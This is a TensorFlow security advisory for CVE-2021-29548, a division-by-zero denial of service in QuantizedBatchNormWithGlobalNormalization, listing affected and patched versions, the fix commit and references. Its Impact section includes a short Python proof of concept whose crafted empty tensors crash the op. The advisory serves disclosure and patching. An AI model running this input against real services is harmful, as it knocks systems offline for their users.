GHSA-p45v-v4pw-77jr
Division by 0 in `QuantizedBatchNormWithGlobalNormalization`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-cpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-cpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-cpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-cpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
| PyPI | tensorflow-gpu | < 2.1.4 | 2.1.4 |
| PyPI | tensorflow-gpu | >= 2.2.0, < 2.2.3 | 2.2.3 |
| PyPI | tensorflow-gpu | >= 2.3.0, < 2.3.3 | 2.3.3 |
| PyPI | tensorflow-gpu | >= 2.4.0, < 2.4.2 | 2.4.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:
```python
import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).
### Patches
We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr
- https://nvd.nist.gov/vuln/detail/CVE-2021-29548
- https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml
- https://github.com/tensorflow/tensorflow